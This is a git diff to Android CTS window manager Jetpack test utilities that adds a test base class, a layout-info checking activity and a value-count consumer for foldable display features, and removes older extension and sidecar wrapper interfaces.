diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestGetWindowLayoutInfoActivity.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestGetWindowLayoutInfoActivity.java
new file mode 100644
index 0000000..62a94e0
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestGetWindowLayoutInfoActivity.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import static android.server.wm.jetpack.utils.SidecarUtil.getSidecarInterface;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityWindowToken;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+
+import android.os.Bundle;
+import android.os.IBinder;
+import android.view.View;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.window.sidecar.SidecarDisplayFeature;
+import androidx.window.sidecar.SidecarInterface;
+import androidx.window.sidecar.SidecarWindowLayoutInfo;
+
+import java.util.HashSet;
+import java.util.Set;
+import java.util.stream.Collectors;
+
+/**
+ * Activity that can verify the return value of
+ * {@link SidecarInterface#getWindowLayoutInfo(IBinder)} on activity's different states.
+ */
+// TODO (b/201119421) - explore moving the assert logic out from here and into the calling test
+public class TestGetWindowLayoutInfoActivity extends TestActivity {
+
+    private SidecarInterface mSidecarInterface;
+    @Nullable private SidecarWindowLayoutInfo mPrevWindowLayoutInfo;
+
+    @Override
+    public void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mSidecarInterface = getSidecarInterface(this);
+        assertCorrectWindowLayoutInfoOrException(true /* isOkToThrowException */);
+    }
+
+    @Override
+    public void onAttachedToWindow() {
+        super.onAttachedToWindow();
+        assertCorrectWindowLayoutInfoOrException(true /* isOkToThrowException */);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        assertCorrectWindowLayoutInfoOrException(true /* isOkToThrowException */);
+    }
+
+    @Override
+    public void onLayoutChange(View v, int left, int top, int right, int bottom, int oldLeft,
+            int oldTop, int oldRight, int oldBottom) {
+        super.onLayoutChange(v, left, top, right, bottom, oldLeft, oldTop, oldRight, oldBottom);
+        assertCorrectWindowLayoutInfoOrException(false /* isOkToThrowException */);
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+    }
+
+    private void assertCorrectWindowLayoutInfoOrException(boolean isOkToThrowException) {
+        IBinder windowToken = getActivityWindowToken(this);
+        if (windowToken == null) {
+            return;
+        }
+
+        SidecarWindowLayoutInfo windowLayoutInfo = null;
+        try {
+            windowLayoutInfo = mSidecarInterface.getWindowLayoutInfo(windowToken);
+        } catch (Exception e) {
+            assertThat(isOkToThrowException).isTrue();
+        }
+
+        if (mPrevWindowLayoutInfo == null) {
+            mPrevWindowLayoutInfo = windowLayoutInfo;
+        } else {
+            assertEqualWindowLayoutInfo(mPrevWindowLayoutInfo, windowLayoutInfo);
+        }
+    }
+
+    private static class SidecarDisplayFeatureComparisonWrapper {
+
+        private SidecarDisplayFeature mFeature;
+
+        private SidecarDisplayFeatureComparisonWrapper(
+                @NonNull SidecarDisplayFeature feature) {
+            mFeature = feature;
+        }
+
+        public static SidecarDisplayFeatureComparisonWrapper create(
+                @NonNull SidecarDisplayFeature feature) {
+            return new SidecarDisplayFeatureComparisonWrapper(feature);
+        }
+
+        @Override
+        public boolean equals(Object o) {
+            if (o == this) {
+                return true;
+            }
+            if (!(o instanceof SidecarDisplayFeatureComparisonWrapper)) {
+                return false;
+            }
+            SidecarDisplayFeatureComparisonWrapper other
+                    = (SidecarDisplayFeatureComparisonWrapper) o;
+            return mFeature.getRect().equals(other.mFeature.getRect())
+                    && mFeature.getType() == other.mFeature.getType();
+        }
+
+        @Override
+        public final int hashCode() {
+            int result = mFeature.getRect().hashCode();
+            result = 31 * result + mFeature.getType();
+            return result;
+        }
+    }
+
+    private void assertEqualWindowLayoutInfo(SidecarWindowLayoutInfo info1,
+            SidecarWindowLayoutInfo info2) {
+        // If neither has any display features, then they are equal
+        if (info1.displayFeatures == null && info2.displayFeatures == null) {
+            return;
+        }
+        // Convert display features into comparable display features
+        Set<SidecarDisplayFeatureComparisonWrapper> displayFeatures1 = collectDisplayFeatures(
+                info1);
+        Set<SidecarDisplayFeatureComparisonWrapper> displayFeatures2 = collectDisplayFeatures(
+                info2);
+        assertEquals(displayFeatures1, displayFeatures2);
+    }
+
+    private Set<SidecarDisplayFeatureComparisonWrapper> collectDisplayFeatures(
+            @NonNull SidecarWindowLayoutInfo info) {
+        if (info.displayFeatures == null) {
+            return new HashSet<SidecarDisplayFeatureComparisonWrapper>();
+        }
+        return info.displayFeatures
+                .stream()
+                .map(SidecarDisplayFeatureComparisonWrapper::create)
+                .collect(Collectors.toSet());
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestValueCountConsumer.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestValueCountConsumer.java
new file mode 100644
index 0000000..4ebeac4
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestValueCountConsumer.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import androidx.annotation.Nullable;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
+
+/**
+ * Consumer that provides a simple way to wait for a specific count of values to be received within
+ * a timeout and then return the last value.
+ */
+public class TestValueCountConsumer<T> implements Consumer<T> {
+
+    private static final long TIMEOUT_MS = 3000;
+    private static final int DEFAULT_COUNT = 1;
+    private int mCount = DEFAULT_COUNT;
+    private LinkedBlockingQueue<T> mLinkedBlockingQueue;
+    private T mLastReportedValue;
+
+    public TestValueCountConsumer() {
+        mLinkedBlockingQueue = new LinkedBlockingQueue<>();
+    }
+
+    @Override
+    public void accept(T value) {
+        // Asynchronously offer value to queue
+        mLinkedBlockingQueue.offer(value);
+    }
+
+    public void setCount(int count) {
+        mCount = count;
+    }
+
+    @Nullable
+    public T waitAndGet() throws InterruptedException {
+        T value = null;
+        for (int i = 0; i < mCount; i++) {
+            value = mLinkedBlockingQueue.poll(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        }
+        mLastReportedValue = value;
+        return value;
+    }
+
+    @Nullable
+    public T getLastReportedValue() {
+        return mLastReportedValue;
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/Version.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/Version.java
index c95f090..f8be26c 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/Version.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/Version.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -30,11 +30,8 @@
  * Class encapsulating a version with major, minor, patch and description values. Copied from
  * androidx.window.Version.
  */
-final class Version implements Comparable<Version> {
-    static final Version UNKNOWN = new Version(0, 0, 0, "");
-    static final Version VERSION_0_1 = new Version(0, 1, 0, "");
-    static final Version VERSION_1_0 = new Version(1, 0, 0, "");
-    static final Version CURRENT = VERSION_1_0;
+public final class Version implements Comparable<Version> {
+    public static final Version UNKNOWN = new Version(0, 0, 0, "");
 
     private static final String VERSION_PATTERN_STRING =
             "(\\d+)(?:\\.(\\d+))(?:\\.(\\d+))(?:-(.+))?";
@@ -46,7 +43,7 @@
     // Cached BigInteger value of the version.
     private BigInteger mBigInteger;
 
-    private Version(int major, int minor, int patch, String description) {
+    public Version(int major, int minor, int patch, String description) {
         mMajor = major;
         mMinor = minor;
         mPatch = patch;
@@ -61,7 +58,7 @@
      * @return the parsed Version object or {@code null}> if the versionString format is invalid.
      */
     @Nullable
-    static Version parse(String versionString) {
+    public static Version parse(String versionString) {
         if (TextUtils.isEmpty(versionString)) {
             return null;
         }
@@ -79,7 +76,7 @@
     }
 
     /** Checks whether the version is in the correct format. */
-    static boolean isValidVersion(String versionString) {
+    public static boolean isValidVersion(String versionString) {
         Matcher matcher = Pattern.compile(VERSION_PATTERN_STRING).matcher(versionString);
         return matcher.matches();
     }
@@ -103,7 +100,8 @@
     @NonNull
     @Override
     public String toString() {
-        final StringBuilder sb = new StringBuilder(getMajor())
+        final StringBuilder sb = new StringBuilder()
+                .append(getMajor())
                 .append(".")
                 .append(getMinor())
                 .append(".")
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
new file mode 100644
index 0000000..c2576cc
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
@@ -0,0 +1,235 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE;
+import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
+import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
+import static android.content.res.Configuration.ORIENTATION_PORTRAIT;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.app.Application;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.os.IBinder;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.window.extensions.layout.FoldingFeature;
+import androidx.window.sidecar.SidecarDeviceState;
+
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.Set;
+import java.util.HashSet;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+
+/** Base class for all tests in the module. */
+public class WindowManagerJetpackTestBase {
+
+    public static final String ACTIVITY_ID_LABEL = "ActivityID";
+
+    public Instrumentation mInstrumentation;
+    public Context mContext;
+    public Application mApplication;
+
+    private final static Set<Activity> sResumedActivities = new HashSet<>();
+
+    @Before
+    public void setUp() {
+        mInstrumentation = getInstrumentation();
+        assertNotNull(mInstrumentation);
+        mContext = getApplicationContext();
+        assertNotNull(mContext);
+        mApplication = (Application) mContext.getApplicationContext();
+        assertNotNull(mApplication);
+        // Register activity lifecycle callbacks to know which activities are resumed
+        registerActivityLifecycleCallbacks();
+    }
+
+    public Activity startActivityNewTask(Class activityClass) {
+        final Intent intent = new Intent(mContext, activityClass);
+        intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
+        final Activity activity = mInstrumentation.startActivitySync(intent);
+        return activity;
+    }
+
+    /**
+     * Starts an instance of {@param activityToLaunchClass} from {@param activityToLaunchFrom}
+     * and returns the activity ID from the newly launched class.
+     */
+    public static <T extends Activity> void startActivityFromActivity(Activity activityToLaunchFrom,
+            Class<T> activityToLaunchClass, String newActivityId) {
+        Intent intent = new Intent(activityToLaunchFrom, activityToLaunchClass);
+        intent.putExtra(ACTIVITY_ID_LABEL, newActivityId);
+        activityToLaunchFrom.startActivity(intent);
+    }
+
+    public static IBinder getActivityWindowToken(Activity activity) {
+        return activity.getWindow().getAttributes().token;
+    }
+
+    public static void assertHasNonNegativeDimensions(@NonNull Rect rect) {
+        assertFalse(rect.width() < 0 || rect.height() < 0);
+    }
+
+    public static void assertNotBothDimensionsZero(@NonNull Rect rect) {
+        assertFalse(rect.width() == 0 && rect.height() == 0);
+    }
+
+    public static Rect getActivityBounds(Activity activity) {
+        return activity.getWindowManager().getCurrentWindowMetrics().getBounds();
+    }
+
+    public static Rect getMaximumActivityBounds(Activity activity) {
+        return activity.getWindowManager().getMaximumWindowMetrics().getBounds();
+    }
+
+    public static void setActivityOrientationActivityHandlesOrientationChanges(
+            TestActivity activity, int orientation) {
+        // Make sure that the provided orientation is a fixed orientation
+        assertTrue(orientation == ORIENTATION_PORTRAIT || orientation == ORIENTATION_LANDSCAPE);
+        // Do nothing if the orientation already matches
+        if (activity.getResources().getConfiguration().orientation == orientation) {
+            return;
+        }
+        activity.resetLayoutCounter();
+        // Change the orientation
+        activity.setRequestedOrientation(orientation == ORIENTATION_PORTRAIT
+                ? SCREEN_ORIENTATION_PORTRAIT : SCREEN_ORIENTATION_LANDSCAPE);
+        // Wait for the activity to layout, which will happen after the orientation change
+        assertTrue(activity.waitForLayout());
+        // Check that orientation matches
+        assertEquals(orientation, activity.getResources().getConfiguration().orientation);
+    }
+
+    public static void setActivityOrientationActivityDoesNotHandleOrientationChanges(
+            TestActivity activity, int orientation) {
+        // Make sure that the provided orientation is a fixed orientation
+        assertTrue(orientation == ORIENTATION_PORTRAIT || orientation == ORIENTATION_LANDSCAPE);
+        // Do nothing if the orientation already matches
+        if (activity.getResources().getConfiguration().orientation == orientation) {
+            return;
+        }
+        TestActivity.resetResumeCounter();
+        // Change the orientation
+        activity.setRequestedOrientation(orientation == ORIENTATION_PORTRAIT
+                ? SCREEN_ORIENTATION_PORTRAIT : SCREEN_ORIENTATION_LANDSCAPE);
+        // The activity will relaunch because it does not handle the orientation change, so wait
+        // for the activity to be resumed again
+        assertTrue(activity.waitForOnResume());
+        // Check that orientation matches
+        assertEquals(orientation, activity.getResources().getConfiguration().orientation);
+    }
+
+    /**
+     * Returns whether the display rotates to respect activity orientation, which will be false if
+     * both portrait activities and landscape activities have the same maximum bounds. If the
+     * display rotates for orientation, then the maximum portrait bounds will be a rotated version
+     * of the maximum landscape bounds.
+     */
+    public static boolean doesDisplayRotateForOrientation(@NonNull Rect portraitMaximumBounds,
+            @NonNull Rect landscapeMaximumBounds) {
+        return !portraitMaximumBounds.equals(landscapeMaximumBounds);
+    }
+
+    public static boolean areExtensionAndSidecarDeviceStateEqual(int extensionDeviceState,
+            int sidecarDeviceStatePosture) {
+        return (extensionDeviceState == FoldingFeature.STATE_FLAT
+                && sidecarDeviceStatePosture == SidecarDeviceState.POSTURE_OPENED)
+                || (extensionDeviceState == FoldingFeature.STATE_HALF_OPENED
+                && sidecarDeviceStatePosture == SidecarDeviceState.POSTURE_HALF_OPENED);
+    }
+
+    private void registerActivityLifecycleCallbacks() {
+        mApplication.registerActivityLifecycleCallbacks(
+                new Application.ActivityLifecycleCallbacks() {
+                    @Override
+                    public void onActivityCreated(@NonNull Activity activity,
+                            @Nullable Bundle savedInstanceState) {
+                    }
+
+                    @Override
+                    public void onActivityStarted(@NonNull Activity activity) {
+                    }
+
+                    @Override
+                    public void onActivityResumed(@NonNull Activity activity) {
+                        synchronized (sResumedActivities) {
+                            sResumedActivities.add(activity);
+                        }
+                    }
+
+                    @Override
+                    public void onActivityPaused(@NonNull Activity activity) {
+                        synchronized (sResumedActivities) {
+                            sResumedActivities.remove(activity);
+                        }
+                    }
+
+                    @Override
+                    public void onActivityStopped(@NonNull Activity activity) {
+                    }
+
+                    @Override
+                    public void onActivitySaveInstanceState(@NonNull Activity activity,
+                            @NonNull Bundle outState) {
+                    }
+
+                    @Override
+                    public void onActivityDestroyed(@NonNull Activity activity) {
+                    }
+        });
+    }
+
+    public static boolean isActivityResumed(Activity activity) {
+        synchronized (sResumedActivities) {
+            return sResumedActivities.contains(activity);
+        }
+    }
+
+    @Nullable
+    public static TestActivityWithId getResumedActivityById(@NonNull String activityId) {
+        synchronized (sResumedActivities) {
+            for (Activity activity : sResumedActivities) {
+                if (activity instanceof TestActivityWithId
+                        && activityId.equals(((TestActivityWithId) activity).getId())) {
+                    return (TestActivityWithId) activity;
+                }
+            }
+            return null;
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/TestDeviceState.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/TestDeviceState.java
deleted file mode 100644
index 7b4e386..0000000
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/TestDeviceState.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.jetpack.utils.wrapper;
-
-import androidx.annotation.IntDef;
-
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-
-/**
- * Test interface for {@link androidx.window.extensions.ExtensionDeviceState} and
- * {@link androidx.window.sidecar.SidecarDeviceState} that serves as an API compatibility wrapper.
- *
- * @see android.server.wm.jetpack.utils.wrapper.extensionwrapperimpl.TestExtensionDeviceState
- * @see android.server.wm.jetpack.utils.wrapper.sidecarwrapperimpl.TestSidecarDeviceState
- */
-public interface TestDeviceState {
-
-    /** Copied from {@link androidx.window.extensions.ExtensionDeviceState}. */
-    int POSTURE_UNKNOWN = 0;
-    int POSTURE_CLOSED = 1;
-    int POSTURE_HALF_OPENED = 2;
-    int POSTURE_OPENED = 3;
-    int POSTURE_FLIPPED = 4;
-
-    @Retention(RetentionPolicy.SOURCE)
-    @IntDef({
-            POSTURE_UNKNOWN,
-            POSTURE_CLOSED,
-            POSTURE_HALF_OPENED,
-            POSTURE_OPENED,
-            POSTURE_FLIPPED
-    })
-    @interface Posture{}
-
-    /** Gets the current posture of the foldable device. */
-    @Posture
-    int getPosture();
-}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/TestDisplayFeature.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/TestDisplayFeature.java
deleted file mode 100644
index c31c2be..0000000
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/TestDisplayFeature.java
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.jetpack.utils.wrapper;
-
-import android.graphics.Rect;
-
-import androidx.annotation.IntDef;
-
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-
-/**
- * Test interface for {@link androidx.window.extensions.ExtensionDisplayFeature} and
- * {@link androidx.window.sidecar.SidecarDisplayFeature} that serves as an API compatibility
- * wrapper.
- *
- * @see android.server.wm.jetpack.utils.wrapper.extensionwrapperimpl.TestExtensionDisplayFeature
- * @see android.server.wm.jetpack.utils.wrapper.sidecarwrapperimpl.TestSidecarDisplayFeature
- */
-public interface TestDisplayFeature {
-
-    /**
-     * A fold in the flexible screen without a physical gap.
-     */
-    int TYPE_FOLD = 1;
-
-    /**
-     * A physical separation with a hinge that allows two display panels to fold.
-     */
-    int TYPE_HINGE = 2;
-
-    @Retention(RetentionPolicy.SOURCE)
-    @IntDef({
-            TYPE_FOLD,
-            TYPE_HINGE,
-    })
-    @interface Type{}
-
-    /** Gets the bounding rect of the display feature in window coordinate space. */
-    Rect getBounds();
-
-    /** Gets the type of the display feature. */
-    int getType();
-}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/TestInterfaceCompat.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/TestInterfaceCompat.java
deleted file mode 100644
index 8a4d516..0000000
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/TestInterfaceCompat.java
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.jetpack.utils.wrapper;
-
-import android.os.IBinder;
-import android.server.wm.jetpack.utils.wrapper.extensionwrapperimpl.TestExtensionCompat;
-import android.server.wm.jetpack.utils.wrapper.sidecarwrapperimpl.TestSidecarCompat;
-
-import androidx.annotation.NonNull;
-
-/**
- * Test interface for {@link androidx.window.extensions.ExtensionInterface} and
- * {@link androidx.window.sidecar.SidecarInterface} that serves as an API compatibility wrapper.
- *
- * @see TestExtensionCompat
- * @see TestSidecarCompat
- */
-public interface TestInterfaceCompat {
-
-    /**
-     * Registers the support library as the callback for the extension. This interface will be used
-     * to report all extension changes to the support library.
-     */
-    void setExtensionCallback(@NonNull TestInterfaceCallback callback);
-
-    /**
-     * Gets current information about the display features present within the application window.
-     */
-    TestWindowLayoutInfo getWindowLayoutInfo(@NonNull IBinder windowToken);
-
-    /**
-     * Notifies extension that a listener for display feature layout changes was registered for the
-     * given window token.
-     */
-    void onWindowLayoutChangeListenerAdded(@NonNull IBinder windowToken);
-
-    /**
-     * Notifies extension that a listener for display feature layout changes was removed for the
-     * given window token.
-     */
-    void onWindowLayoutChangeListenerRemoved(@NonNull IBinder windowToken);
-
-    /**
-     * Gets current device state.
-     * @see #onDeviceStateListenersChanged(boolean)
-     */
-    TestDeviceState getDeviceState();
-
-    /**
-     * Notifies the extension that a device state change listener was updated.
-     * @param isEmpty flag indicating if the list of device state change listeners is empty.
-     */
-    void onDeviceStateListenersChanged(boolean isEmpty);
-
-    /**
-     * Callback that will be registered with the WindowManager library, and that the extension
-     * should use to report all state changes.
-     */
-    interface TestInterfaceCallback {
-        /**
-         * Called by extension when the device state changes.
-         */
-        void onDeviceStateChanged(@NonNull TestDeviceState newDeviceState);
-
-        /**
-         * Called by extension when the feature layout inside the window changes.
-         */
-        void onWindowLayoutChanged(@NonNull IBinder windowToken,
-                @NonNull TestWindowLayoutInfo newLayout);
-    }
-}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/TestWindowLayoutInfo.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/TestWindowLayoutInfo.java
deleted file mode 100644
index 7235346..0000000
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/TestWindowLayoutInfo.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.jetpack.utils.wrapper;
-
-import androidx.annotation.Nullable;
-
-import java.util.List;
-
-/**
- * Test interface for {@link androidx.window.extensions.ExtensionWindowLayoutInfo} and
- * {@link androidx.window.sidecar.SidecarWindowLayoutInfo} that serves as an API compatibility
- * wrapper.
- *
- * @see android.server.wm.jetpack.utils.wrapper.extensionwrapperimpl.TestExtensionWindowLayoutInfo
- * @see android.server.wm.jetpack.utils.wrapper.sidecarwrapperimpl.TestSidecarWindowLayoutInfo
- */
-public interface TestWindowLayoutInfo {
-    /** Gets the list of display features present within the window. */
-    @Nullable
-    List<TestDisplayFeature> getDisplayFeatures();
-}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/extensionwrapperimpl/TestExtensionCompat.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/extensionwrapperimpl/TestExtensionCompat.java
deleted file mode 100644
index e66dc39..0000000
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/extensionwrapperimpl/TestExtensionCompat.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.jetpack.utils.wrapper.extensionwrapperimpl;
-
-import android.os.IBinder;
-import android.server.wm.jetpack.utils.wrapper.TestDeviceState;
-import android.server.wm.jetpack.utils.wrapper.TestInterfaceCompat;
-import android.server.wm.jetpack.utils.wrapper.TestWindowLayoutInfo;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.window.extensions.ExtensionDeviceState;
-import androidx.window.extensions.ExtensionInterface;
-import androidx.window.extensions.ExtensionWindowLayoutInfo;
-
-/** Compatibility wrapper for extension versions v1.0+. */
-public final class TestExtensionCompat implements TestInterfaceCompat {
-
-    @Nullable
-    public static TestExtensionCompat create(@Nullable ExtensionInterface extensionInterface) {
-        return extensionInterface == null ? null : new TestExtensionCompat(extensionInterface);
-    }
-
-    @NonNull
-    private final ExtensionInterface mExtensionInterface;
-
-    private TestExtensionCompat(@NonNull ExtensionInterface extensionInterface) {
-        mExtensionInterface = extensionInterface;
-    }
-
-    @Override
-    public void setExtensionCallback(@NonNull TestInterfaceCallback callback) {
-        mExtensionInterface.setExtensionCallback(new ExtensionInterface.ExtensionCallback() {
-            @Override
-            public void onDeviceStateChanged(@NonNull ExtensionDeviceState newDeviceState) {
-                callback.onDeviceStateChanged(TestExtensionDeviceState.create(newDeviceState));
-            }
-
-            @Override
-            public void onWindowLayoutChanged(@NonNull IBinder windowToken,
-                    @NonNull ExtensionWindowLayoutInfo newLayout) {
-                callback.onWindowLayoutChanged(
-                        windowToken,
-                        TestExtensionWindowLayoutInfo.create(newLayout));
-            }
-        });
-    }
-
-    @Override
-    public TestWindowLayoutInfo getWindowLayoutInfo(@NonNull IBinder windowToken) {
-        return TestExtensionWindowLayoutInfo.create(
-                mExtensionInterface.getWindowLayoutInfo(windowToken));
-    }
-
-    @Override
-    public void onWindowLayoutChangeListenerAdded(@NonNull IBinder windowToken) {
-        mExtensionInterface.onWindowLayoutChangeListenerAdded(windowToken);
-    }
-
-    @Override
-    public void onWindowLayoutChangeListenerRemoved(@NonNull IBinder windowToken) {
-        mExtensionInterface.onWindowLayoutChangeListenerRemoved(windowToken);
-    }
-
-    @Override
-    public TestDeviceState getDeviceState() {
-        return TestExtensionDeviceState.create(mExtensionInterface.getDeviceState());
-    }
-
-    @Override
-    public void onDeviceStateListenersChanged(boolean isEmpty) {
-        mExtensionInterface.onDeviceStateListenersChanged(isEmpty);
-    }
-}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/extensionwrapperimpl/TestExtensionDeviceState.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/extensionwrapperimpl/TestExtensionDeviceState.java
